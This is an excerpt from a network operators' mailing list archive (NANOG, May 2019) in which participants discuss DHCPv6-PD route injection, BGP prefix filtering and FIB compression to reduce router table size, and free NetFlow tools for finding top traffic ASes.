simpler form, depending only on an external DHCP server. It may be enough for some set-ups. Subscriber functionality provides more options, such as enforcing auth and internal dhcp server that takes data to be returned from RADIUS. It also allows dissociation between L2 and L3 (same subnet on several VLANs). You can almost call it SDN :) From swmike at swm.pp.se Sat May 18 08:45:06 2019 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Sat, 18 May 2019 10:45:06 +0200 (CEST) Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> Message-ID: On Tue, 14 May 2019, Brandon Martin wrote: > Is there a standard that defines/recommends behavior for route injection of > snooped DHCPv6-PD (or IA, I guess) assignments on routers running relay > agents? No, there isn't. However, there is now work ongoing work in the IETF to at least create a functional description of one. I read a pre-version of the -00 yesterday (my colleague is one of the authors), hopefully a first version of it should be posted coming week. Check out the IETF WG mailing list for when it's posted. The area of how the router on the LAN gets the DHCPv6-PD route injected never was standardized because consensus couldn't be reached on how to do it, so it was glossed over and vendors solved it the way they saw fit. I've seen implementations where no route was injected (to customer astonishment of course becase it's useless without this), so this is functionality that needs at least some kind of specification. -- Mikael Abrahamsson email: swmike at swm.pp.se From baldur.norddahl at gmail.com Sat May 18 08:57:00 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Sat, 18 May 2019 10:57:00 +0200 Subject: BGP prefix filter list In-Reply-To: <8b27bcb5-04e2-3c4c-e773-5bb7b135ef54@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> <8b27bcb5-04e2-3c4c-e773-5bb7b135ef54@ispn.net> Message-ID: On Fri, May 17, 2019 at 10:43 PM Blake Hudson wrote: > I manage a network like you describe: Two BGP edge routers, both routers > accept a full eBGP feed from transit, both share routing information via > iBGP. Both edge routers in my network have a complete view. If one transit > provider is down or there is an upstream peering change, both still have a > complete view. The only time they wouldn't have a complete view is during > convergence or when there is a simultaneous outage of both transit > providers at different physical facilities. > > What I mean by not having a complete view, is that your two routers do not have the same information. One router has all the routes from the transit directly connected, but only a subset of routes from the other transit provider. And visa versa for the other router. Therefore the two routers might not make the same routing decisions. Let me show you an example from two routers in our network: albertslund-edge1#show bgp vpnv4 unicast vrf internet detail 8.8.8.0 255.255.255.0 BGP routing table entry for 8.8.8.0/24 20w0d received from 193.239.117.141 (66.249.94.118), path-id 0 Origin i, nexthop 193.239.117.141, metric 100, localpref 500,weight 0, rtpref 200, best, block best, selected, Community 60876:34307 As path [15169] As4 path Received label notag Imported from 185.24.168.254 (185.24.168.254); Route Distinguisher:60876:0 (default for vrf internet) Origin i, nexthop 185.24.168.254, metric 100, localpref 500,weight 0, rtpref 200, Community 60876:34307 As path [15169] As4 path Route target:60876:0 Received label 164540 --- ballerup-edge1#show bgp vpnv4 unicast vrf internet detail 8.8.8.0 255.255.255.0 BGP routing table entry for 8.8.8.0/24 43w1d received from 193.239.117.141 (66.249.94.118), path-id 0 Origin i, nexthop 193.239.117.141, metric 100, localpref 500,weight 0, rtpref 200, best, block best, selected, Community 60876:34307 As path [15169] As4 path Received label notag Imported from 185.24.171.254 (185.24.171.254); Route Distinguisher:60876:0 (default for vrf internet) Origin i, nexthop 185.24.171.254, metric 100, localpref 500,weight 0, rtpref 200, Community 60876:34307 As path [15169] As4 path Route target:60876:0 Received label 164140 29w2d received from 216.66.83.101 (216.218.252.202), path-id 0 Origin i, nexthop 216.66.83.101, metric 100, localpref 450,weight 0, rtpref 200, Community 60876:6939 As path [6939 15169] As4 path Received label notag 43w2d received from 149.6.137.57 (154.26.32.142), path-id 0 Origin i, nexthop 149.6.137.57, metric 200, localpref 100,weight 0, rtpref 200, Community 174:21100 174:22010 60876:174 As path [174 6453 15169] As4 path Received label notag --- One router knows about 2 paths, the other about 4 paths. Why? Because BGP only advertises the route that is in use. Everyone here of course knows this, I am just pointing it out because culling information before allowing it to be redistributed within your network is what BGP is already doing anyway. It is possible to remove some of that information from the local FIB too without losing anything at all. Using a default also gives you a dramatically shorter convergence time if one of the transits goes down. Having 800k routes can be harmful to your network even with equipment that can handle it. Yes I am aware that I am not doing what I am preaching here, but I am considering it :-). Regards Baldur -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Sat May 18 09:13:33 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Sat, 18 May 2019 05:13:33 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <719f7d7f-6c84-4dcc-9346-1683f4cfab50@www.fastmail.com> Message-ID: <3cbeca24-34c6-37ef-e883-b80abcd0d3c6@monmotha.net> On 5/18/19 4:44 AM, Radu-Adrian Feurdean wrote: > That one seems to be the simpler form, depending only on an external DHCP server. It may be enough for some set-ups. Subscriber functionality provides more options, such as enforcing auth and internal dhcp server that takes data to be returned from RADIUS. It also allows dissociation between L2 and L3 (same subnet on several VLANs). > > You can almost call it SDN:) It's perfect for lots of smaller networks that have L2 DHCP snooping and access enforcement via that means. My L2 happens to offer just that. I do have to enforce a somewhat "traditional" L2-L3 mapping, but it works fine on this network, at least. -- Brandon Martin From alejandroacostaalamo at gmail.com Sat May 18 15:35:39 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Sat, 18 May 2019 11:35:39 -0400 Subject: BGP prefix filter list In-Reply-To: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> Message-ID: <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> Hello,    As a comment, after receiving several complains and after looking many cases, we evaluated what is better, to cut the table size filtering "big" network or "small" networks.  Of course this is a difficult scenario and I guess there are mix thinking about this, however, we concluded that the people (networks) that is less affected are those who learn small network prefixes (such as /24, /23, /22, /21 in the v4 world).   If you learn, let's say, up to /22 (v4), and someone hijacks one /21 you will learn the legitimate prefix and the hijacked prefix. Now, the owner of the legitimate prefix wants to defends their routes announcing /23 or /24, of course those prefixes won't be learnt if they are filtered.   We published this some time ago (sorry, in Spanish): http://w4.labs.lacnic.net/site/BGP-network-size-filters That's it, my two cents. Alejandro, On 5/15/19 7:43 AM, Baldur Norddahl wrote: > Hello > > This morning we apparently had a problem with our routers not handling > the full table. So I am looking into culling the least useful prefixes > from our tables. I can hardly be the first one to take on that kind of > project, and I am wondering if there is a ready made prefix list or > similar? > > Or maybe we have a list of worst offenders? I am looking for ASN that > announces a lot of unnecessary /24 prefixes and which happens to be > far away from us? I would filter those to something like /20 and then > just have a default route to catch all. > > Thanks, > > Baldur > From jloiacon at gmail.com Sat May 18 16:04:21 2019 From: jloiacon at gmail.com (Joe Loiacono) Date: Sat, 18 May 2019 12:04:21 -0400 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: Dennis, You might try FlowViewer https://sourceforge.net/projects/flowviewer Fairly easy Linux install over top of SiLK, netflow capture and analysis software from Carnegie-Mellon. SiLK is very robust and FlowViewer provides a web-based interface with extensive analysis, graphing and tracking tools. Filtering includes by AS. You can create an MRTG-like set of long-term graphs for each AS and as a group of top 10 ASes (Last 24 Hours, 7 Days, 4 Weeks, 3 Years.) Best, Joe On 5/17/2019 10:26 AM, Dennis Burgess via NANOG wrote: > > I am looking for a free program to take netflow and output what the > top traffic ASes to and from my AS are.   Something that we can look > at every once in a while, and/or spin up and get data then shutdown..  > Just have two ports need netflow from currently. > > Thanks in advance. > > *LTI-Full_175px* > > *Dennis Burgess, Mikrotik Certified Trainer * > > Author of "Learn RouterOS- Second Edition” > > *Link Technologies, Inc*-- Mikrotik & WISP Support Services > > *Office*: 314-735-0270 Website: http://www.linktechs.net > > > Create Wireless Coverage’s with www.towercoverage.com > -------------- next part -------------- An HTML attachment was scrubbed... URL: From amir.lists at gmail.com Sat May 18 17:08:07 2019 From: amir.lists at gmail.com (Amir Herzberg) Date: Sat, 18 May 2019 13:08:07 -0400 Subject: BGP prefix filter list In-Reply-To: <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> Message-ID: This discussion is very interesting, I didn't know about this problem, it has implications to our work on routing security, thanks! On Sat, May 18, 2019 at 11:37 AM Alejandro Acosta < alejandroacostaalamo at gmail.com> wrote: > > If you learn, let's say, up to /22 (v4), and someone hijacks one /21 > you will learn the legitimate prefix and the hijacked prefix. Now, the > owner of the legitimate prefix wants to defends their routes announcing > /23 or /24, of course those prefixes won't be learnt if they are filtered. > I wonder if this really is a consideration to avoid filtering small prefixes (e.g. /24): - attackers are quite likely to do sub-prefix hijacks (or say a specific /24), so I'm not sure this `hits' defenders more than it `hits' attackers - I think we're talking only/mostly about small providers here, right? as larger providers probably will not have such problems of tables exceeding router resources.I expect such small providers normally connect thru several tier-2 or so providers... if these upper-tier providers get hijacked, the fact you've prevented this at the stub/multihome ISP may not help much - we showed how this happens with ROV in our NDSS paper on it: https://www.ndss-symposium.org/ndss2017/ndss-2017-programme/are-we-there-yet-rpkis-deployment-and-security/ Amir Herzberg Comcast professor for security innovation Dept. of Computer Science and Engineering, University of Connecticut Foundations of Cybersecurity: https://www.researchgate.net/project/Lecture-notes-on-Introduction-to-Cyber-Security Homepage: https://sites.google.com/site/amirherzberg/home -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Sun May 19 00:10:30 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Sat, 18 May 2019 20:10:30 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> Message-ID: <4201b346-2c3a-ce67-3740-2ea179499e97@gmail.com> Hello Amir, On 5/18/19 1:08 PM, Amir Herzberg wrote: > This discussion is very interesting, I didn't know about this problem, > it has implications to our work on routing security, thanks! Your welcome..., since long time ago I wanted to expose our findings in English. > > On Sat, May 18, 2019 at 11:37 AM Alejandro Acosta > > wrote: > > >    If you learn, let's say, up to /22 (v4), and someone hijacks > one /21 > you will learn the legitimate prefix and the hijacked prefix. Now, > the > owner of the legitimate prefix wants to defends their routes > announcing > /23 or /24, of course those prefixes won't be learnt if they are > filtered. > > > I wonder if this really is a consideration to avoid filtering small > prefixes (e.g. /24): My position is exactly the opposite. > > - attackers are quite likely to  do sub-prefix hijacks (or say a > specific /24), so I'm not sure this `hits' defenders more than it > `hits' attackers Yes, you are right, but anyhow -IMHO- this still better than not learning small prefixes at all. > - I think we're talking only/mostly about small providers here, right? > as larger providers probably will not have such problems of tables > exceeding router resources.I expect such small providers normally > connect thru several tier-2 or so providers... if these upper-tier > providers get hijacked, the fact you've prevented this at the > stub/multihome ISP may not help much - we showed how this happens with > ROV in our NDSS paper on it: > https://www.ndss-symposium.org/ndss2017/ndss-2017-programme/are-we-there-yet-rpkis-deployment-and-security/ > > You are right here. Thanks for the link, I will take a look. Alejandro, > > Amir Herzberg > Comcast professor for security innovation > Dept. of Computer Science and Engineering, University of Connecticut > > Foundations of Cybersecurity: > https://www.researchgate.net/project/Lecture-notes-on-Introduction-to-Cyber-Security > > Homepage: https://sites.google.com/site/amirherzberg/home -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Sun May 19 05:32:37 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Sun, 19 May 2019 01:32:37 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> Message-ID: <99dd418e-9cf4-dc2e-daa2-14b4c9b6cc66@monmotha.net> On 5/18/19 4:45 AM, Mikael Abrahamsson wrote: > The area of how the router on the LAN gets the DHCPv6-PD route injected never was standardized because consensus couldn't be reached on how to do it, so it was glossed over and vendors solved it the way they saw fit. I've seen implementations where no route was injected (to customer astonishment of course becase it's useless without this), so this is functionality that needs at least some kind of specification. I'll keep my eye out for it. I guess my impression from RFC8415 was that it was up to the network administrator and their equipment vendor to resolve this. Certainly, I wouldn't have expected automatic route injection, though having such a feature available is of course really nice. Some sort of standard behavior for it is preferable if it's going to be implemented. My punt in the absence of support for it on my platform (I'm arguing to get it implemented) was to inject the route via BGP from the DHCP lease database. That's very flexible, but it's also a heck of a lot more work of course. -- Brandon Martin From swmike at swm.pp.se Sun May 19 06:05:30 2019 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Sun, 19 May 2019 08:05:30 +0200 (CEST) Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <99dd418e-9cf4-dc2e-daa2-14b4c9b6cc66@monmotha.net> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <99dd418e-9cf4-dc2e-daa2-14b4c9b6cc66@monmotha.net> Message-ID: On Sun, 19 May 2019, Brandon Martin wrote: > I guess my impression from RFC8415 was that it was up to the network > administrator and their equipment vendor to resolve this. Certainly, I > wouldn't have expected automatic route injection, though having such a There needs to be interaction between the packet forwarding layer and the DHCP layer when doing things like DHCPv6-PD, otherwise it's not of any use. Another thing that will be in this document is that we've observed quite a few gotchas that aren't obvious, and for different deployment scenarios you want things handled differently by the relay. One example: What do you do when you have an active lease and the same DUID shows up on another interface, requesting a prefix? If you're a wireline operator then you most likely want to hand out a different prefix, because this is now two different customers and you want to treat them as two different clients even if they happen to have the same MAC address and DUID. If you're instead an enterprise for instance, and you want to support devices moving around and having their PD follow them, then you want to the opposite, you instead want to just treat it as the same client that now moved. Back in 2005 I was involved in an wireline deployment, and I checked the customer mac addresses. 5% of the customers had the same mac address visible to us. Seems a very popular electronics store router vendor had shipped all their routers of a certain model with the same MAC address as its default address. I was happy I had designed the wireline solution with one vlan per customer so this wasn't a problem. Other ISPs weren't so fortunate and had to spend significant customer support time/money helping customers use the "clone PC MAC address" functionality in the HGW to work around this problem. In DHCPv6 the DUID is considered "world unique", but as wel all know who work in operational environment, the world typically doesn't adhere to strict rules. -- Mikael Abrahamsson email: swmike at swm.pp.se From christian at errxtx.net Sun May 19 13:29:00 2019 From: christian at errxtx.net (Christian Meutes) Date: Sun, 19 May 2019 15:29:00 +0200 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: ES, Kibana, pmacct and some glue (JSON to ES batching) ... and of course a lot of time and resources (eg. h/w). Cheers Chris On Sat 18. May 2019 at 18:04, Joe Loiacono wrote: > Dennis, > > You might try FlowViewer https://sourceforge.net/projects/flowviewer > > Fairly easy Linux install over top of SiLK, netflow capture and analysis > software from Carnegie-Mellon. SiLK is very robust and FlowViewer provides > a web-based interface with extensive analysis, graphing and tracking tools. > Filtering includes by AS. You can create an MRTG-like set of long-term > graphs for each AS and as a group of top 10 ASes (Last 24 Hours, 7 Days, 4 > Weeks, 3 Years.) > > Best, > > Joe > On 5/17/2019 10:26 AM, Dennis Burgess via NANOG wrote: > > I am looking for a free program to take netflow and output what the top > traffic ASes to and from my AS are. Something that we can look at every > once in a while, and/or spin up and get data then shutdown.. Just have two > ports need netflow from currently. > > > > Thanks in advance. > > > > > > *[image: LTI-Full_175px]* > > *Dennis Burgess, Mikrotik Certified Trainer * > > Author of "Learn RouterOS- Second Edition” > > *Link Technologies, Inc* -- Mikrotik & WISP Support Services > > *Office*: 314-735-0270 Website: http://www.linktechs.net > > Create Wireless Coverage’s with www.towercoverage.com > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dmburgess at linktechs.net Mon May 20 13:36:47 2019 From: dmburgess at linktechs.net (Dennis Burgess) Date: Mon, 20 May 2019 13:36:47 +0000 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <18076501f7b54538bc3893bf30ee9830@linktechs.net> Please let me clarify. Currently the Netflow data that this customer is sending does NOT supply AS information. So I need something to generate that AS data and display. The goal is to figure out where we need to peer next. Where the top traffic is coming in from (what AS) on our paid transit. Dennis Burgess, From: NANOG On Behalf Of Dennis Burgess via NANOG Sent: Friday, May 17, 2019 9:27 AM To: nanog at nanog.org Subject: Free Program to take netflow I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. Thanks in advance. Dennis Burgess -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at jack.fr.eu.org Mon May 20 13:42:49 2019 From: nanog at jack.fr.eu.org (nanog at jack.fr.eu.org) Date: Mon, 20 May 2019 15:42:49 +0200 Subject: Free Program to take netflow In-Reply-To: <18076501f7b54538bc3893bf30ee9830@linktechs.net> References: <18076501f7b54538bc3893bf30ee9830@linktechs.net> Message-ID: <5CE2AED9.4000901@jack.fr.eu.org> Check out AS-Stats¹, with perl-ip2as [1] https://github.com/manuelkasper/AS-Stats On 05/20/2019 03:36 PM, Dennis Burgess via NANOG wrote: > Please let me clarify. Currently the Netflow data that this customer is sending does NOT supply AS information. So I need something to generate that AS data and display. The goal is to figure out where we need to peer next. Where the top traffic is coming in from (what AS) on our paid transit. > > > > Dennis Burgess, > > From: NANOG On Behalf Of Dennis Burgess via NANOG > Sent: Friday, May 17, 2019 9:27 AM > To: nanog at nanog.org > Subject: Free Program to take netflow > > I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. > > Thanks in advance. > > > > Dennis Burgess > > From blake at ispn.net Mon May 20 14:14:58 2019 From: blake at ispn.net (Blake Hudson) Date: Mon, 20 May 2019 09:14:58 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> <8b27bcb5-04e2-3c4c-e773-5bb7b135ef54@ispn.net> Message-ID: <76761b75-7cad-757c-561e-379c87fc09bc@ispn.net> Baldur Norddahl wrote on 5/18/2019 3:57 AM: > ... > One router knows about 2 paths, the other about 4 paths. Why? Because > BGP only advertises the route that is in use. Everyone here of course > knows this, I am just pointing it out because culling information > before allowing it to be redistributed within your network is what BGP > is already doing anyway. It is possible to remove some of that > information from the local FIB too without losing anything at all. > > Using a default also gives you a dramatically shorter convergence time > if one of the transits goes down. Having 800k routes can be harmful to > your network even with equipment that can handle it. Yes I am aware > that I am not doing what I am preaching here, but I am considering it :-). Thanks for the clarification. Yes, you are correct that each router will have its own unique view. By full view I meant that a router has at least one route for every prefix advertised into the DFZ. One should also expect that each transit provider will provide a slight variation in the routes provided via its "full BGP feed" because each transit provider has its own unique view and may include routes in its feeds that are not advertised into the DFZ. Appreciate the discourse my friend, --B -------------- next part -------------- An HTML attachment was scrubbed... URL: From blake at ispn.net Mon May 20 15:35:23 2019 From: blake at ispn.net (Blake Hudson) Date: Mon, 20 May 2019 10:35:23 -0500 Subject: BGP prefix filter list In-Reply-To: <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> Message-ID: <9351a0f2-2e01-92c5-613d-7abf3aadb573@ispn.net> Gracias Alejandro, I had never considered anti-hijack, anti-DoS, or RTBH advertisements in this equation. Another knock against filtering based on prefix size is that it may not have the intended outcome on some platforms. As I recall reading about one vendor's platform (the ASR9k perhaps?) and its TCAM organization process, it stored /32 routes in a dedicated area for faster lookups and did the same for /24 routes. If one were to remove just the /24 routes from their RIB, the result would free up space in the storage area dedicated for /24's, but would consequently put more pressure on the areas reserved for prefixes between /0 and /23 as covering routes are installed into FIB. The result of removing /24's from the RIB on this platform would, unintuitively, put the user in a worse position with regard to TCAM utilization - not a better one. If one is going to filter routes from his or her router's RIB, doing so based on subnet size seems to be a poor way. Doing so based on AS depth (your second solution) has fewer disadvantages in my opinion. As others have mentioned, there are even more intelligent ways of filtering but they rely on outside knowledge like cost, bandwidth, delay, or the importance to your customers of reaching a given destination - stuff not normally known to BGP. Alejandro Acosta wrote on 5/18/2019 10:35 AM: > Hello, > >    As a comment, after receiving several complains and after looking > many cases, we evaluated what is better, to cut the table size > filtering "big" network or "small" networks.  Of course this is a > difficult scenario and I guess there are mix thinking about this, > however, we concluded that the people (networks) that is less affected > are those who learn small network prefixes (such as /24, /23, /22, /21 > in the v4 world). > >   If you learn, let's say, up to /22 (v4), and someone hijacks one /21 > you will learn the legitimate prefix and the hijacked prefix. Now, the > owner of the legitimate prefix wants to defends their routes > announcing /23 or /24, of course those prefixes won't be learnt if > they are filtered. > >   We published this some time ago (sorry, in Spanish): > http://w4.labs.lacnic.net/site/BGP-network-size-filters > > > That's it, my two cents. > > > Alejandro, > > > > On 5/15/19 7:43 AM, Baldur Norddahl wrote: >> Hello >> >> This morning we apparently had a problem with our routers not >> handling the full table. So I am looking into culling the least >> useful prefixes from our tables. I can hardly be the first one to >> take on that kind of project, and I am wondering if there is a ready >> made prefix list or similar? >> >> Or maybe we have a list of worst offenders? I am looking for ASN that >> announces a lot of unnecessary /24 prefixes and which happens to be >> far away from us? I would filter those to something like /20 and then >> just have a default route to catch all. >> >> Thanks, >> >> Baldur >> From dmburgess at linktechs.net Mon May 20 15:55:32 2019 From: dmburgess at linktechs.net (Dennis Burgess) Date: Mon, 20 May 2019 15:55:32 +0000 Subject: Free Program to take netflow In-Reply-To: <5CE2AED9.4000901@jack.fr.eu.org> References: <18076501f7b54538bc3893bf30ee9830@linktechs.net> <5CE2AED9.4000901@jack.fr.eu.org> Message-ID: It specifically states it uses AS data from the netflow source. I don't have that ☹ FROM website: collects NetFlow v8/v9 AS aggregation records Dennis Burgess, -----Original Message----- From: NANOG On Behalf Of nanog at jack.fr.eu.org Sent: Monday, May 20, 2019 8:43 AM To: nanog at nanog.org Subject: Re: Free Program to take netflow Check out AS-Stats¹, with perl-ip2as [1] https://github.com/manuelkasper/AS-Stats On 05/20/2019 03:36 PM, Dennis Burgess via NANOG wrote: > Please let me clarify. Currently the Netflow data that this customer is sending does NOT supply AS information. So I need something to generate that AS data and display. The goal is to figure out where we need to peer next. Where the top traffic is coming in from (what AS) on our paid transit. > > > > Dennis Burgess, > > From: NANOG On Behalf Of Dennis Burgess via NANOG > Sent: Friday, May 17, 2019 9:27 AM > To: nanog at nanog.org > Subject: Free Program to take netflow > > I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. > > Thanks in advance. > > > > Dennis Burgess > > From nanog at ics-il.net Mon May 20 16:03:00 2019 From: nanog at ics-il.net (Mike Hammett) Date: Mon, 20 May 2019 11:03:00 -0500 (CDT) Subject: Free Program to take netflow In-Reply-To: <18076501f7b54538bc3893bf30ee9830@linktechs.net> References: <18076501f7b54538bc3893bf30ee9830@linktechs.net> Message-ID: <770088333.1292.1558368176576.JavaMail.mhammett@ThunderFuck> I've done that a couple ways. I've used a nProbe license to add the ASN information in. There are other utilities that do this, but I forgot what they are. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Dennis Burgess via NANOG" To: nanog at nanog.org Sent: Monday, May 20, 2019 8:36:47 AM Subject: RE: Free Program to take netflow Please let me clarify. Currently the Netflow data that this customer is sending does NOT supply AS information. So I need something to generate that AS data and display. The goal is to figure out where we need to peer next. Where the top traffic is coming in from (what AS) on our paid transit. Dennis Burgess, From: NANOG On Behalf Of Dennis Burgess via NANOG Sent: Friday, May 17, 2019 9:27 AM To: nanog at nanog.org Subject: Free Program to take netflow I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. Thanks in advance. Dennis Burgess -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Mon May 20 22:05:45 2019 From: bill at herrin.us (William Herrin) Date: Mon, 20 May 2019 15:05:45 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: On Fri, May 17, 2019 at 9:06 AM Baldur Norddahl wrote: > Think about this way to save at least half the size of the FIB with two > transit providers: Find out which provider has the most prefixes going > their way. Make a default to them and a route-map that drops every route. > For the other provider, keep only the routes where they have better > routing. This way you only use FIB space for the smaller provider. > Everything else goes by default through the larger provider. > Hi Baldur, The technique you describe was one variant of FIB Compression. It got some attention around 8 years ago on the IRTF Routing Research Group and some more attention about 5 years ago when several researchers fleshed out the possible algorithms and projected gains. As I recall they found a 30% to 60% reduction in FIB use depending on which algorithm was chosen, how many peers you had, etc. As far as I know there are no production implementations. Likely the extra complexity needed to process RIB updates in to FIB updates outweighs the cost of simply adding more TCAM. Another down side is that you lose the implicit discard default route, which means that routing loops become possible. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From martijnschmidt at i3d.net Mon May 20 22:23:30 2019 From: martijnschmidt at i3d.net (i3D.net - Martijn Schmidt) Date: Mon, 20 May 2019 22:23:30 +0000 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: Brocade (now Extreme) does this on their SLX platform to market 1M FIB boxes as 1.3M FIB boxes after compression. We went with the Juniper MX platform instead, the relatively small FIB size on the SLX being one of the main sticking points for me personally. Nowadays there are also some SLX models with a larger FIB, which don't need compression algorithms to accommodate the routing table growth for a couple of years. Best regards, Martijn On 20 May 2019 23:05:45 BST, William Herrin wrote: >On Fri, May 17, 2019 at 9:06 AM Baldur Norddahl > >wrote: > >> Think about this way to save at least half the size of the FIB with >two >> transit providers: Find out which provider has the most prefixes >going >> their way. Make a default to them and a route-map that drops every >route. >> For the other provider, keep only the routes where they have better >> routing. This way you only use FIB space for the smaller provider. >> Everything else goes by default through the larger provider. >> > >Hi Baldur, > >The technique you describe was one variant of FIB Compression. It got >some >attention around 8 years ago on the IRTF Routing Research Group and >some >more attention about 5 years ago when several researchers fleshed out >the >possible algorithms and projected gains. As I recall they found a 30% >to >60% reduction in FIB use depending on which algorithm was chosen, how >many >peers you had, etc. > >As far as I know there are no production implementations. Likely the >extra >complexity needed to process RIB updates in to FIB updates outweighs >the >cost of simply adding more TCAM. Another down side is that you lose the >implicit discard default route, which means that routing loops become >possible. > >Regards, >Bill Herrin From hannigan at gmail.com Mon May 20 22:35:53 2019 From: hannigan at gmail.com (Martin Hannigan) Date: Mon, 20 May 2019 18:35:53 -0400 Subject: BGP prefix filter list In-Reply-To: <20190515122341.x5ll35xc2b6amgse@angus.ind.wpi.edu> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515122341.x5ll35xc2b6amgse@angus.ind.wpi.edu> Message-ID: Those numbers were subject to fraudulent acquisition. Some end users of these subject prefixes are victims. This blanket approach victimizes them further IMHO. My guess is this direction is why ARIN didn't post the prefixes in their blog post. They are however in the court docs. I don't recommend acting now. I could be wrong? Follow the registry, IMHO. John? Best, -M< On Wed, May 15, 2019 at 08:25 Anderson, Charles R wrote: > What about these ones? > > https://teamarin.net/2019/05/13/taking-a-hard-line-on-fraud/ > > On Wed, May 15, 2019 at 01:43:30PM +0200, Baldur Norddahl wrote: > > Hello > > > > This morning we apparently had a problem with our routers not handling > > the full table. So I am looking into culling the least useful prefixes > > from our tables. I can hardly be the first one to take on that kind of > > project, and I am wondering if there is a ready made prefix list or > similar? > > > > Or maybe we have a list of worst offenders? I am looking for ASN that > > announces a lot of unnecessary /24 prefixes and which happens to be far > > away from us? I would filter those to something like /20 and then just > > have a default route to catch all. > > > > Thanks, > > > > Baldur > -------------- next part -------------- An HTML attachment was scrubbed... URL: From sethm at rollernet.us Mon May 20 23:09:02 2019 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 20 May 2019 16:09:02 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> 